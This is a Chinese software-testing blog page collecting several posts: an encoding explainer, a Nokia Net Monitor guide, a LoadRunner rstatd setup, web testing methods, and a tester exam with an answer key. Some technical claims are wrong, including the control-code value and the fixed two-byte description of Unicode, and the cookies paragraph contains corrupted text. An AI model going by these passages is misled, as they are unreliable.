发布新日志

  • unicode,ansi,utf-8,unicode big endian这些编码有什么区别

    shunshun 发布于 2007-06-08 16:57:03

    我把我自己的BLOG上的一篇东西转给你.

    随便说说字符集和编码

    快下班时,爱问问题的小朋友Nico又问了一个问题:
    "sqlserver里面有char和nchar,那个n据说是指unicode的数据,这个是什么意思。"
    并不是所有简单的问题都很容易回答,就像这个问题一样。于是我答应专门写一篇BLOG来从头讲讲编码的故事。那么就让我们找个草堆坐下,先抽口烟,看看夜晚天空上的银河,然后想一想要从哪里开始讲起。嗯,也许这样开始比较好……


    很久很久以前,有一群人,他们决定用8个可以开合的晶体管来组合成不同的状态,以表示世界上的万物。他们看到8个开关状态是好的,于是他们把这称为"字节"。
    再后来,他们又做了一些可以处理这些字节的机器,机器开动了,可以用字节来组合出很多状态,状态开始变来变去。他们看到这样是好的,于是它们就这机器称为"计算机"。

    开始计算机只在美国用。八位的字节一共可以组合出256(2的8次方)种不同的状态。
    他们把其中的编号从0开始的32种状态分别规定了特殊的用途,一但终端、打印机遇上约定好的这些字节被传过来时,就要做一些约定的动作。遇上00x10, 终端就换行,遇上0x07, 终端就向人们嘟嘟叫,例好遇上0x1b, 打印机就打印反白的字,或者终端就用彩色显示字母。他们看到这样很好,于是就把这些0x20以下的字节状态称为"控制码"。
    他们又把所有的空格、标点符号、数字、大小写字母分别用连续的字节状态表示,一直编到了第127号,这样计算机就可以用不同字节来存储英语的文字了。大家看到这样,都感觉很好,于是大家都把这个方案叫做 ANSI 的"Ascii"编码(American Standard Code for Information Interchange,美国信息互换标准代码)。当时世界上所有的计算机都用同样的ASCII方案来保存英文文字。
    后来,就像建造巴比伦塔一样,世界各地的都开始使用计算机,但是很多国家用的不是英文,他们的字母里有许多是ASCII里没有的,为了可以在计算机保存他们的文字,他们决定采用127号之后的空位来表示这些新的字母、符号,还加入了很多画表格时需要用下到的横线、竖线、交叉等形状,一直把序号编到了最后一个状态255。从128到255这一页的字符集被称"扩展字符集"。从此之后,贪婪的人类再没有新的状态可以用了,美帝国主义可能没有想到还有第三世界国家的人们也希望可以用到计算机吧!
    等中国人们得到计算机时,已经没有可以利用的字节状态来表示汉字,况且有6000多个常用汉字需要保存呢。但是这难不倒智慧的中国人民,我们不客气地把那些127号之后的奇异符号们直接取消掉, 规定:一个小于127的字符的意义与原来相同,但两个大于127的字符连在一起时,就表示一个汉字,前面的一个字节(他称之为高字节)从0xA1用到0xF7,后面一个字节(低字节)从0xA1到0xFE,这样我们就可以组合出大约7000多个简体汉字了。在这些编码里,我们还把数学符号、罗马希腊的字母、日文的假名们都编进去了,连在 ASCII 里本来就有的数字、标点、字母都统统重新编了两个字节长的编码,这就是常说的"全角"字符,而原来在127号以下的那些就叫"半角"字符了。
    中国人民看到这样很不错,于是就把这种汉字方案叫做 "GB2312"。GB2312 是对 ASCII 的中文扩展。
    但是中国的汉字太多了,我们很快就就发现有许多人的人名没有办法在这里打出来,特别是某些很会麻烦别人的国家领导人。于是我们不得不继续把 GB2312 没有用到的码位找出来老实不客气地用上。
    后来还是不够用,于是干脆不再要求低字节一定是127号之后的内码,只要第一个字节是大于127就固定表示这是一个汉字的开始,不管后面跟的是不是扩展字符集里的内容。结果扩展之后的编码方案被称为 GBK 标准,GBK 包括了 GB2312 的所有内容,同时又增加了近20000个新的汉字(包括繁体字)和符号。
    后来少数民族也要用电脑了,于是我们再扩展,又加了几千个新的少数民族的字,GBK 扩成了 GB18030。从此之后,中华民族的文化就可以在计算机时代中传承了。
    中国的程序员们看到这一系列汉字编码的标准是好的,于是通称他们叫做 "DBCS"(Double Byte Charecter Set 双字节字符集)。在DBCS系列标准里,最大的特点是两字节长的汉字字符和一字节长的英文字符并存于同一套编码方案里,因此他们写的程序为了支持中文处理,必须要注意字串里的每一个字节的值,如果这个值是大于127的,那么就认为一个双字节字符集里的字符出现了。那时候凡是受过加持,会编程的计算机僧侣们都要每天念下面这个咒语数百遍:
    "一个汉字算两个英文字符!一个汉字算两个英文字符……"

    因为当时各个国家都像中国这样搞出一套自己的编码标准,结果互相之间谁也不懂谁的编码,谁也不支持别人的编码,连大陆和台湾这样只相隔了150海里,使用着同一种语言的兄弟地区,也分别采用了不同的 DBCS 编码方案——当时的中国人想让电脑显示汉字,就必须装上一个"汉字系统",专门用来处理汉字的显示、输入的问题,但是那个台湾的愚昧封建人士写的算命程序就必须加装另一套支持 BIG5 编码的什么"倚天汉字系统"才可以用,装错了字符系统,显示就会乱了套!这怎么办?而且世界民族之林中还有那些一时用不上电脑的穷苦人民,他们的文字又怎么办?
    真是计算机的巴比伦塔命题啊!
    正在这时,大天使加百列及时出现了——一个叫 ISO (国际标谁化组织)的国际组织决定着手解决这个问题。他们采用的方法很简单:废了所有的地区性编码方案,重新搞一个包括了地球上所有文化、所有字母和符号的编码!他们打算叫它"Universal Multiple-Octet Coded Character Set",简称 UCS, 俗称 "UNICODE"。
    UNICODE 开始制订时,计算机的存储器容量极大地发展了,空间再也不成为问题了。于是 ISO 就直接规定必须用两个字节,也就是16位来统一表示所有的字符,对于ascii里的那些“半角”字符,UNICODE 包持其原编码不变,只是将其长度由原来的8位扩展为16位,而其他文化和语言的字符则全部重新统一编码。由于"半角"英文符号只需要用到低8位,所以其高8位永远是0,因此这种大气的方案在保存英文文本时会多浪费一倍的空间。
    这时候,从旧社会里走过来的程序员开始发现一个奇怪的现象:他们的strlen函数靠不住了,一个汉字不再是相当于两个字符了,而是一个!是的,从 UNICODE 开始,无论是半角的英文字母,还是全角的汉字,它们都是统一的"一个字符"!同时,也都是统一的"两个字节",请注意"字符"和"字节"两个术语的不同,“字节”是一个8位的物理存贮单元,而“字符”则是一个文化相关的符号。在UNICODE 中,一个字符就是两个字节。一个汉字算两个英文字符的时代已经快过去了。
    从前多种字符集存在时,那些做多语言软件的公司遇上过很大麻烦,他们为了在不同的国家销售同一套软件,就不得不在区域化软件时也加持那个双字节字符集咒语,不仅要处处小心不要搞错,还要把软件中的文字在不同的字符集中转来转去。UNICODE 对于他们来说是一个很好的一揽子解决方案,于是从 Windows NT 开始,MS 趁机把它们的操作系统改了一遍,把所有的核心代码都改成了用 UNICODE 方式工作的版本,从这时开始,WINDOWS 系统终于无需要加装各种本土语言系统,就可以显示全世界上所有文化的字符了。
    但是,UNICODE 在制订时没有考虑与任何一种现有的编码方案保持兼容,这使得 GBK 与UNICODE 在汉字的内码编排上完全是不一样的,没有一种简单的算术方法可以把文本内容从UNICODE编码和另一种编码进行转换,这种转换必须通过查表来进行。
    如前所述,UNICODE 是用两个字节来表示为一个字符,他总共可以组合出65535不同的字符,这大概已经可以覆盖世界上所有文化的符号。如果还不够也没有关系,ISO已经准备了UCS-4方案,说简单了就是四个字节来表示一个字符,这样我们就可以组合出21亿个不同的字符出来(最高位有其他用途),这大概可以用到银河联邦成立那一天吧!

    UNICODE 来到时,一起到来的还有计算机网络的兴起,UNICODE 如何在网络上传输也是一个必须考虑的问题,于是面向传输的众多 UTF(UCS Transfer Format)标准出现了,顾名思义,UTF8就是每次8个位传输数据,而UTF16就是每次16个位,只不过为了传输时的可靠性,从UNICODE到UTF时并不是直接的对应,而是要过一些算法和规则来转换。
    受到过网络编程加持的计算机僧侣们都知道,在网络里传递信息时有一个很重要的问题,就是对于数据高低位的解读方式,一些计算机是采用低位先发送的方法,例如我们PC机采用的 INTEL 架构,而另一些是采用高位先发送的方式,在网络中交换数据时,为了核对双方对于高低位的认识是否是一致的,采用了一种很简便的方法,就是在文本流的开始时向对方发送一个标志符——如果之后的文本是高位在位,那就发送"FEFF",反之,则发送"FFFE"。不信你可以用二进制方式打开一个UTF-X格式的文件,看看开头两个字节是不是这两个字节?

    讲到这里,我们再顺便说说一个很著名的奇怪现象:当你在 windows 的记事本里新建一个文件,输入"联通"两个字之后,保存,关闭,然后再次打开,你会发现这两个字已经消失了,代之的是几个乱码!呵呵,有人说这就是联通之所以拼不过移动的原因。
    其实这是因为GB2312编码与UTF8编码产生了编码冲撞的原因。
    从网上引来一段从UNICODE到UTF8的转换规则:



    Unicode
    UTF-8

    0000 - 007F
    0xxxxxxx

    0080 - 07FF
    110xxxxx 10xxxxxx

    0800 - FFFF
    1110xxxx 10xxxxxx 10xxxxxx




    例如"汉"字的Unicode编码是6C49。6C49在0800-FFFF之间,所以要用3字节模板:1110xxxx 10xxxxxx 10xxxxxx。将6C49写成二进制是:0110 1100 0100 1001,将这个比特流按三字节模板的分段方法分为0110 110001 001001,依次代替模板中的x,得到:1110-0110 10-110001 10-001001,即E6 B1 89,这就是其UTF8的编码。
    而当你新建一个文本文件时,记事本的编码默认是ANSI, 如果你在ANSI的编码输入汉字,那么他实际就是GB系列的编码方式,在这种编码下,"联通"的内码是:
    c1 1100 0001
    aa 1010 1010
    cd 1100 1101
    a8 1010 1000
    注意到了吗?第一二个字节、第三四个字节的起始部分的都是"110"和"10",正好与UTF8规则里的两字节模板是一致的,于是再次打开记事本时,记事本就误认为这是一个UTF8编码的文件,让我们把第一个字节的110和第二个字节的10去掉,我们就得到了"00001 101010",再把各位对齐,补上前导的0,就得到了"0000 0000 0110 1010",不好意思,这是UNICODE的006A,也就是小写的字母"j",而之后的两字节用UTF8解码之后是0368,这个字符什么也不是。这就是只有"联通"两个字的文件没有办法在记事本里正常显示的原因。
    而如果你在"联通"之后多输入几个字,其他的字的编码不见得又恰好是110和10开始的字节,这样再次打开时,记事本就不会坚持这是一个utf8编码的文件,而会用ANSI的方式解读之,这时乱码又不出现了。

    好了,终于可以回答NICO的问题了,在数据库里,有n前缀的字串类型就是UNICODE类型,这种类型中,固定用两个字节来表示一个字符,无论这个字符是汉字还是英文字母,或是别的什么。
    如果你要测试"abc汉字"这个串的长度,在没有n前缀的数据类型里,这个字串是7个字符的长度,因为一个汉字相当于两个字符。而在有n前缀的数据类型里,同样的测试串长度的函数将会告诉你是5个字符,因为一个汉字就是一个字符。

    希望这篇文章是NICO想要的.
  • Nokia工程模式完整中文说明(1)

    cuizhihui 发布于 2008-05-27 10:49:13

    适用型号:5110,5130,6110,6130,6138,6150,3210,8210,8850
    .简介 
      Nokia的工程模式名称为\"Net monitor\" Net monitor这个选项只能透过特殊开启方式的手机使用者接口呈现(其开启过程不拟讨论一般标准的手机是无法看到的,其选项画面是\"罗赖把\"和铁锤和手机相当符合工程模式的意味.Net monitor为常驻,不需再输入任何密码
      使用Net monitor是为了确认GSM900/1800网络的执行情形及参考某些手机内有用的信息 51xx/6110/6138,为第10选项,6150为第11选项,分组画面皆同. Net monitor51xx/6110/6138,共有88个画面,(V 5.0X版后亦为89画面) 615089个画面,19个画面部分称为\"Operator Net monitor\",至于包含后面部份 的画面则为\"R&D Net monitor\",编号前面的画面以系统网络的功能为主,后面则以该手机内软硬件数据为主
      使用Net monitor的手机并非精准的仪器,所以要注意以下几点︰ 所看到的数值只是近似值(例如︰在画面1345中的RSSI因为软件不是随时更新的,所以呈现的数值不一定符合现实情况中已改 变的数值.也因此,这本手册上所介绍的数值也会因为软件的更新而有 所不同,仅供作参考用 某些使用者界面和手机所附的使用手册说明有所不同 
      有些性能表现会比标准的手机来的不同 一般GSM行动电话系统工程人员所常用部份为Operator Net monitor , 因此本说明将以该部份为主此后本系列文章以笔者的5130/6150画面及操作法为主.其它机型若有不同之处, 再另行说明.笔者才疏学浅\,忝颜编写说明,若有谬误遗落之处,盼各界先进不吝指正
    .基本操作说明
      启动了Net monitor后,手机使用上没有什么太大的不同,除了一些画面上的不同。 Net monitor是所谓的指示性软件(soft indicator) 意思是它只有在屏幕上不须显示其它功能时才会出现。 例如,当开始拨电话时,Net monitor就会消失, 直到电话拨完,电话号码消失,而Net monitor才又重新出现在屏幕上
      Net monitor包含两种模式︰ 执行模式(execute mode)和数据显示模式(data display mode)
      执行模式是依照以上的启动方法进入,是一次显示一种的形式, 若要在执行模式下进行另一种的测试时,则必须重新启动Net monitor选项然后再进入该选项一次例如画面14,(51xx才有)17,18(6110/6138),19等等。 而数据显示模式中,可以在主画面中看到测试的值,例如频道(channel)Power Level Cell ID.利用上下键可轻松的转换测试项目,而不必再利用到menu 但是在资料显示模中,有的画面虽然看得到,但不能进行任何执行或设定。
    2-1.选择画面 
    先按\"菜单\",然后用上下键移动画面至Net monitor选项.
    选到该选项后,选择\"进入\",此时画面将变成:
    |Test | | Test | 
    |---------------| |---------------|
    | 01 |  | 01| |---------------| 
    |---------------| |
    确认 | | 确认 清除|
    (51xx系列) (61xx系列)
    在空格处键入欲进入的画面数值,11就键入11后选择\"确认\". 
    若欲离开所处画面,\"菜单\"\"返回\"离开要再进入其它画面则再重新选择Net monitor,同前述方法进入该画面
    亦可使用上下键寻找欲进入之画面.
    如欲离开则输入\"00\" 严重警告:千万不要在此画面中填入241,否则Net monitor将永久关闭
    直到再次使用特殊方式开启.若为拥有R&D Net monitor 填入242将会永久关闭19画面后之资料.
    请使用者小心
    2-2.收发电话 如同一般发收话操作方法.通话中亦可参照2-1节切换画面
    唯来电显示及来电分组图案(6系列only)因画面显示信息之必要而暂时不能查阅
    2-3.画面显示 
    当手机处于使用Net monitor,画面显示格式如下:
    ========================================== 
    1 01<-工程模式画面编号 23:14<----时间显示
    702 -81 xxx<------
    0 1 x xxxx<------该画面显示资料区
    38 39<------
    CCCH <------
    菜单<--------功能选择
    ==========================================
    收讯格数和电池电量显示皆固定于原本位置.
    当有系统警告讯息时,会暂时跳离该画面,显示警告讯息.
    以提醒使用者,随即将恢复工程模式画面.
    2-4.在线求助(Online Help)
    Net monitor的画面繁多,加上几乎皆以数字表示,易让使用者迷惑.
    此时使用者可按*键不放,画面将切换为该画面字段的缩写或代号.
    以供使用者查阅.此求助画面将停留至使用者再次长按*键始离开.
    (51xx系列 V5.00~5.02online help)
    .Net monitor画面说明
    Net monitor中可看到以下的信息(以前19个画面为例)
    画面01︰使用中基地台和频道的信息
    画面02︰更多有关使用中基地台和频道的信息
    画面03︰使用中基站和邻近两个最强的频道的信息
    画面04︰邻近第三、四、五个频道的信息
    画面05︰邻近第六、七、八个频道的信息
    画面06︰可用及不可用网络选择的显示
    画面07︰使用中频道的系统信息
    画面08:无资料
    画面09:无资料
    画面10︰显示呼叫重复间隔的数值,TMSI,周期性位置更新的时间(periodic
    location update timer),AFCAGC等信息
    画面11︰国家识别码,网络代码,基地台编号等信息
    画面12︰加密状况(ciphering)、跳频(hoppingDTX状态及IMSI侦测状况的相关信息
    画面13DTX状态的显示
    画面14:画面指示的切换(61xx)
    画面15:无资料
    画面16:无资料
    画面17︰切换BTS_TEST(Lock Channel)状态
  • LoadRunner监控Linux操作系统的资源状况

    junqinghuang 发布于 2008-05-31 14:29:15

    1,安装rstatd
    2,rstatd.tar.gz拷贝到Linux系统中,解压,赋予可执行权限
    3,进入rpc.rstatd目录,依次执行如下命令:
          #./configure
          #make
          #make install 
    4,运行./rpc.rstatd命令,启动服务。
    5,在LR中监控Linux资源OK
  • Web测试方法

    xiangshizu 发布于 2008-05-31 13:36:43

    在Web工程过程中,基于Web系统的测试、确认和验收是一项重要而富有挑战性的工作。基于Web的系统测试与传统的软件测试不同,它不但需要检查和验证是否按照设计的要求运行,而且还要测试系统在不同用户的浏览器端的显示是否合适。重要的是,还要从最终用户的角度进行安全性和可用性测试。然而,Internet和Web媒体的不可预见性使测试基于Web的系统变得困难。因此,我们必须为测试和评估复杂的基于Web的系统研究新的方法和技术
    1 功能测试
    1.1 链接测试
      链接是Web应用系统的一个主要特征,它是在页面之间切换和指导用户去一些不知道地址的页面的主要手段。链接测试可分为三个方面。首先,测试所有链接是否按指示的那样确实链接到了该链接的页面;其次,测试所链接的页面是否存在;最后,保证Web应用系统上没有孤立的页面,所谓孤立页面是指没有链接指向该页面,只有知道正确的URL地址才能访问。   链接测试可以自动进行,现在已经有许多工具可以采用。链接测试必须在集成测试阶段完成,也就是说,在整个Web应用系统的所有页面开发完成之后进行链接测试。
    采取措施:采用自动检测网站链接的软件来进行。
    推荐软件:
    Xenu Link Sleuth 免费 绿色免安装软件
    HTML Link Validator 共享(30天试用)
    1.2 表单测试
      当用户通过表单提交信息的时候,都希望表单能正常工作。
      如果使用表单来进行在线注册,要确保提交按钮能正常工作,当注册完成后应返回注册成功的消息。如果使用表单收集配送信息,应确保程序能够正确处理这些数据,最后能让顾客能让客户收到包裹。要测试这些程序,需要验证服务器能正确保存这些数据,而且后台运行的程序能正确解释和使用这些信息。
      当用户使用表单进行用户注册、登陆、信息提交等操作时,我们必须测试提交操作的完整性,以校验提交给服务器的信息的正确性。例如:用户填写的出生日期与职业是否恰当,填写的所属省份与所在城市是否匹配等。如果使用了默认值,还要检验默认值的正确性。如果表单只能接受指定的某些值,则也要进行测试。例如:只能接受某些字符,测试时可以跳过这些字符,看系统是否会报错。
    1.3 数据校验
      如果系根据业务规则需要对用户输入进行校验,需要保证这些校验功能正常工作。例如,省份的字段可以用一个有效列表进行校验。在这种情况下,需要验证列表完整而且程序正确调用了该列表(例如在列表中添加一个测试值,确定系统能够接受这个测试值)。
      在测试表单时,该项测试和表单测试可能会有一些重复。
    1.2和1.3的采取措施:第一个完整的版本采用手动检查,同时形成WinRunner(QTP)脚本;回归测试以及升级版本主要靠WinRunner(QTP)自动回放测试。
    1.4 cookies测试
      Cookies通常美创娲⒂没畔⒑陀没г谀秤τ孟低车牟僮鳎币桓鲇没褂?/SPAN>Cookies访问了某一个应用系统时,Web服务器将发送关于用户的信息,把该信息以Cookies的形式存储在客户端计算机上,这可用来创建动态和自定义页面或者存储登陆等信息。

      如果Web应用系统使用了Cookies,就必须检查Cookies是否能正常工作。测试的内容可包括Cookies是否起作用,是否按预定的时间进行保存,刷新对Cookies有什么影响等。如果在 cookies 中保存了注册信息,请确认该 cookie能够正常工作而且已对这些信息已经加密。如果使用 cookie 来统计次数,需要验证次数累计正确。
    采取措施:
      1 采用黑盒测试:采用上面提到的方法进行测试
      2 采用查看cookies的软件进行(初步的想法)
    可以选择采用的软件
    IECookiesView v1.50
    Cookies Manager v1.1
    1.5 数据库测试
      在Web应用技术中,数据库起着重要的作用,数据库为Web应用系统的管理、运行、查询和实现用户对数据存储的请求等提供空间。在Web应用中,最常用的数据库类型是关系型数据库,可以使用SQL对信息进行处理。
      在使用了数据库的Web应用系统中,一般情况下,可能发生两种错误,分别是数据一致性错误和输出错误。数据一致性错误主要是由于用户提交的表单信息不正确而造成的,而输出错误主要是由于网络速度或程序设计问题等引起的,针对这两种情况,可分别进行测试。
    采取措施:暂时没有更好的测试方法
     考虑结合到1.2和1.3的测试中
    1.6 应用程序特定的功能需求
      最重要的是,测试人员需要对应用程序特定的功能需求进行验证。尝试用户可能进行的所有操作:下订单、更改订单、取消订单、核对订单状态、在货物发送之前更改送货信息、在线支付等等。这是用户之所以使用网站的原因,一定要确认网站能像广告宣传的那样神奇。
    采取措施:深刻理解需求说明文档
    1.7 设计语言测试
      Web设计语言版本的差异可以引起客户端或服务器端严重的问题,例如使用哪种版本的HTML等。当在分布式环境中开发时,开发人员都不在一起,这个问题就显得尤为重要。除了HTML的版本问题外,不同的脚本语言,例如Java、Javascrīpt、 ActiveX、VBscrīpt或Perl等也要进行验证。
    暂时没有方法测试,可以多参考一点讨论组内的更新信息
    2 性能测试
    2.1 连接速度测试
      用户连接到Web应用系统的速度根据上网方式的变化而变化,他们或许是电话拨号,或是宽带上网。当下载一个程序时,用户可以等较长的时间,但如果仅仅访问一个页面就不会这样。如果Web系统响应时间太长(例如超过5秒钟),用户就会因没有耐心等待而离开。

      另外,有些页面有超时的限制,如果响应速度太慢,用户可能还没来得及浏览内容,就需要重新登陆了。而且,连接速度太慢,还可能引起数据丢失,使用户得不到真实的页面。
    2.2 负载测试
      负载测试是为了测量Web系统在某一负载级别上的性能,以保证Web系统在需求范围内能正常工作。负载级别可以是某个时刻同时访问Web系统的用户数量,也可以是在线数据处理的数量。例如:Web应用系统能允许多少个用户同时在线?如果超过了这个数量,会出现什么现象?Web应用系统能否处理大量用户对同一个页面的请求?
    2.3 压力测试
      负载测试应该安排在Web系统发布以后,在实际的网络环境中进行测试。因为一个企业内部员工,特别是项目组人员总是有限的,而一个Web系统能同时处理的请求数量将远远超出这个限度,所以,只有放在Internet上,接受负载测试,其结果才是正确可信的。

      进行压力测试是指实际破坏一个Web应用系统,测试系统的反映。压力测试是测试系统的限制和故障恢复能力,也就是测试Web应用系统会不会崩溃,在什么情况下会崩溃。黑客常常提供错误的数据负载,直到Web应用系统崩溃,接着当系统重新启动时获得存取权。

      压力测试的区域包括表单、登陆和其他信息传输页面等。

    负载/压力测试应该关注什么
      测试需要验证系统能否在同一时间响应大量的用户,在用户传送大量数据的时候能否响应,系统能否长时间运行。可访问性对用户来说是极其重要的。如果用户得到“系统忙”的信息,他们可能放弃,并转向竞争对手。系统检测不仅要使用户能够正常访问站点,在很多情况下,可能会有黑客试图通过发送大量数据包来攻击服务器。出于安全的原因,测试人员应该知道当系统过载时,需要采取哪些措施,而不是简单地提升系统性能。
    瞬间访问高峰
      如果您的站点用于公布彩票的抽奖结果,最好使系统在中奖号码公布后的一段时间内能够响应上百万的请求。负载测试工具能够模拟 X 个用户同时访问测试站点。
    每个用户传送大量数据
      网上书店的多数用户可能只订购 1-5 书,但是大学书店可能会订购 5000 本有关心理学介绍的课本? 或者一个祖母为她的 50 个儿孙购买圣诞礼物(当然每个孩子都有自己的邮件地址) 系统能处理单个用户的大量数据吗?
    长时间的使用
      如果站点用于处理鲜花订单,那么至少希望它在母亲节前的一周内能持续运行。如果站点提供基于 web 的 email 服务,那么点最好能持续运行几个月,甚至几年。可能需要使用自动测试工具来完成这种类型的测试,因为很难通过手工完成这些测试。你可以想象组织100 个人同时点击某个站点。但是同时组织 100000 个人呢。通常,测试工具在第二次使用的时候,它创造的效益,就足以支付成本。而且,测试工具安装完成之后,再次使用的时候,只要点击几下。
    采取措施:采用测试工具WAS、ACT协助进行测试
    3 用户界面测试
    3.1 导航测试
      导航描述了用户在一个页面内操作的方式,在不同的用户接口控制之间,例如按钮、对话框、列表和窗口等;或在不同的连接页面之间。通过考虑下列问题,可以决定一个Web应用系统是否易于导航:导航是否直观?Web系统的主要部分是否可通过主页存取?Web系统是否需要站点地图、搜索引擎或其他的导航帮助?

      在一个页面上放太多的信息往往起到与预期相反的效果。Web应用系统的用户趋向于目的驱动,很快地扫描一个Web应用系统,看是否有满足自己需要的信息,如果没有,就会很快地离开。很少有用户愿意花时间去熟悉Web应用系统的结构,因此,Web应用系统导航帮助要尽可能地准确。

      导航的另一个重要方面是Web应用系统的页面结构、导航、菜单、连接的风格是否一致。确保用户凭直觉就知道Web应用系统里面是否还有内容,内容在什么地方。

      Web应用系统的层次一旦决定,就要着手测试用户导航功能,让最终用户参与这种测试,效果将更加明显。
    3.2 图形测试
      在Web应用系统中,适当的图片和动画既能起到广告宣传的作用,又能起到美化页面的功能。一个Web应用系统的图形可以包括图片、动画、边框、颜色、字体、背景、按钮等。图形测试的内容有:

      (1)要确保图形有明确的用途,图片或动画不要胡乱地堆在一起,以免浪费传输时间。Web应用系统的图片尺寸要尽量地小,并且要能清楚地说明某件事情,一般都链接到某个具体的页面。

      (2)验证所有页面字体的风格是否一致。

      (3)背景颜色应该与字体颜色和前景颜色相搭配。

      (4)图片的大小和质量也是一个很重要的因素,一般采用JPG或GIF压缩,最好能使图片的大小减小到 30k 以下
      (5)最后,需要验证的是文字回绕是否正确。如果说明文字指向右边的图片,应该确保该图片出现在右边。不要因为使用图片而使窗口和段落排列古怪或者出现孤行。
      通常来说,使用少许或尽量不使用背景是个不错的选择。如果您想用背景,那么最好使用单色的,和导航条一起放在页面的左边。另外,图案和图片可能会转移用户的注意力。
    3.3内容测试
      内容测试用来检验Web应用系统提供信息的正确性、准确性和相关性。

      信息的正确性是指信息是可靠的还是误传的。例如,在商品价格列表中,错误的价格可能引起财政问题甚至导致法律纠纷;信息的准确性是指是否有语法或拼写错误。这种测试通常使用一些文字处理软件来进行,例如使用Microsoft Word的"拼音与语法检查"功能;信息的相关性是指是否在当前页面可以找到与当前浏览信息相关的信息列表或入口,也就是一般Web站点中的所谓"相关文章列表"。
      对于开发人员来说,可能先有功能然后才对这个功能进行描述。大家坐在一起讨论一些新的功能,然后开始开发,在开发的时候,开发人员可能不注重文字表达,他们添加文字可能只是为了对齐页面。不幸的是,这样出来的产品可能产生严重的误解。因此测试人员和公关部门一起检查内容的文字表达是否恰当。否则,公司可能陷入麻烦之中,也可能引起法律方面的问题。测试人员应确保站点看起来更专业些。过分地使用粗体字、大字体和下划线可能会让用户感到不舒服。在进行用户可用性方面的测试时,最好先请图形设计专家对站点进行评估。你可能不希望看到一篇到处是黑体字的文章,所以相信您也希望自己的站点能更专业一些。 最后,需要确定是否列出了相关站点的链接。很多站点希望用户将邮件发到一个特定的地址,或者从某个站点下载浏览器。但是如果用户无法点击这些地址,他们可能会觉得很迷惑。
    3.4 表格测试
      需要验证表格是否设置正确。用户是否需要向右滚动页面才能看见产品的价格?把价格放在左边,而把产品细节放在右边是否更有效? 每一栏的宽度是否足够宽,表格里的文字是否都有折行?是否有因为某一格的内容太多,而将整行的内容拉长?
    3.5 整体界面测试
      整体界面是指整个Web应用系统的页面结构设计,是给用户的一个整体感。例如:当用户浏览Web应用系统时是否感到舒适,是否凭直觉就知道要找的信息在什么地方?整个Web应用系统的设计风格是否一致?

      对整体界面的测试过程,其实是一个对最终用户进行调查的过程。一般Web应用系统采取在主页上做一个调查问卷的形式,来得到最终用户的反馈信息。

      对所有的用户界面测试来说,都需要有外部人员(与Web应用系统开发没有联系或联系很少的人员)的参与,最好是最终用户的参与。
    采取措施:手动测试,参与人员最好有外部人员
    4 兼容性测试
    4.1 平台测试
      市场上有很多不同的操作系统类型,最常见的有Windows、Unix、Macintosh、Linux等。Web应用系统的最终用户究竟使用哪一种操作系统,取决于用户系统的配置。这样,就可能会发生兼容性问题,同一个应用可能在某些操作系统下能正常运行,但在另外的操作系统下可能会运行失败。

      因此,在Web系统发布之前,需要在各种操作系统下对Web系统进行兼容性测试。
    4.2 浏览器测试
      浏览器是Web客户端最核心的构件,来自不同厂商的浏览器对Java,、Javascrīpt、 ActiveX、 plug-ins或不同的HTML规格有不同的支持。例如,ActiveX是Microsoft的产品,是为Internet Explorer而设计的,Javascrīpt是Netscape的产品,

  • 测试工程师笔试题

    mexia 发布于 2008-05-28 11:40:40

       最近被上一个公司给抄了鱿鱼。其实轮技术之类觉得自己还可以,可还是被抄了。哎,只有重新找工作,不过好在通过朋友的介绍等很快找到了工作,虽然薪水不是很高,但是是自己喜欢的行业,还是可以的。现在把笔试题付上。什么公司就不说了,相信大家都看过这份题,呵呵。很经典。

    一、判断题

    1.软件测试的目的是尽可能多的找出软件的缺陷。(Y)

    2.Beta 测试是验收测试的一种。(Y)

    3.验收测试是由最终用户来实施的。(N)

    4.项目立项前测试人员不需要提交任何工件。(Y)

    5.单元测试能发现约80%的软件缺陷。(Y)

    6.代码评审是检查源代码是否达到模块设计的要求。(N)

    7.自底向上集成需要测试员编写驱动程序。(Y)

    8.负载测试是验证要检验的系统的能力最高能达到什么程度。(N)

    9.测试人员要坚持原则,缺陷未修复完坚决不予通过。(N)

    10.代码评审员一般由测试员担任。(N)

    11.我们可以人为的使得软件不存在配置问题。(N)

    12.集成测试计划在需求分析阶段末提交。(N)


    二、选折

    1.软件验收测试的合格通过准则是:(ABCD)

    A. 软件需求分析说明书中定义的所有功能已全部实现,性能指标全部达到要求。

    B. 所有测试项没有残余一级、二级和三级错误。

    C. 立项审批表、需求分析文档、设计文档和编码实现一致。

    D. 验收测试工件齐全。

    2.软件测试计划评审会需要哪些人员参加?(ABCD)

    A.项目经理

    B.SQA 负责人

    C.配置负责人

    D.测试组

    3.下列关于alpha 测试的描述中正确的是:(AD)

    A.alpha 测试需要用户代表参加

    B.alpha 测试不需要用户代表参加

    C.alpha 测试是系统测试的一种

    D.alpha 测试是验收测试的一种

    4.测试设计员的职责有:(BC)

    A.制定测试计划

    B.设计测试用例

    C.设计测试过程、脚本

    D.评估测试活动

    5.软件实施活动的进入准则是:(ABC)

    A.需求工件已经被基线化

    B.详细设计工件已经被基线化

    C.构架工件已经被基线化

    D.项目阶段成果已经被基线化

    三、添空

    1.软件验收测试包括:正式验收测试,alpha测试,beta测试。

    2.系统测试的策略有:功能测试,性能测试,可靠性测试,负载测试,易用性测试,强度测试,安全测试,配置测试,安装测试,卸载测试,文挡测试,故障恢复测试,界面测试,容量测试,兼容性测试,分布测试,可用性测试,(有的可以合在一起,分开写只要写出15就满分哦)

    3.设计系统测试计划需要参考的项目文挡有:软件测试计划,软件需求工件和迭代计划。

    4.对面向过程的系统采用的集成策略有:自顶向下,自底向上两种。

    5.(这题出的有问题哦,详细的5步骤为~~)通过画因果图来写测试用例的步骤为:

    (1)分析软件规格说明描述中,哪些是原因(即输入条件或输入条件的等价类),哪些是结果(即输出条件),并给每个原因和结果赋予一个标识符。

    (2)分析软件规格说明描述中的语义,找出原因与结果之间,原因与原因之间对应的是什么关系? 根据这些关系,画出因果图。

    (3)由于语法或环境限制,有些原因与原因之间,原因与结果之间的组合情况不可能出现。为表明这些特殊情况,在因果图上用一些记号标明约束或限制条件。

    (4)把因果图转换成判定表。

    (5)把判定表的每一列拿出来作为依据,设计测试用例。


    四、简答(资料是搜集整理的,感谢前辈的解题)无

    1.区别阶段评审的与同行评审

    同行评审目的:发现小规模工作产品的错误,只要是找错误;

    阶段评审目的:评审模块 阶段作品的正确性 可行性 及完整性

    同行评审人数:3-7人 人员必须经过同行评审会议的培训,由SQA指导

    阶段评审人数:5人左右 评审人必须是专家 具有系统评审资格

    同行评审内容:内容小 一般文档 <  40页, 代码 < 500行

    阶段评审内容: 内容多,主要看重点

    同行评审时间:一小部分工作产品完成

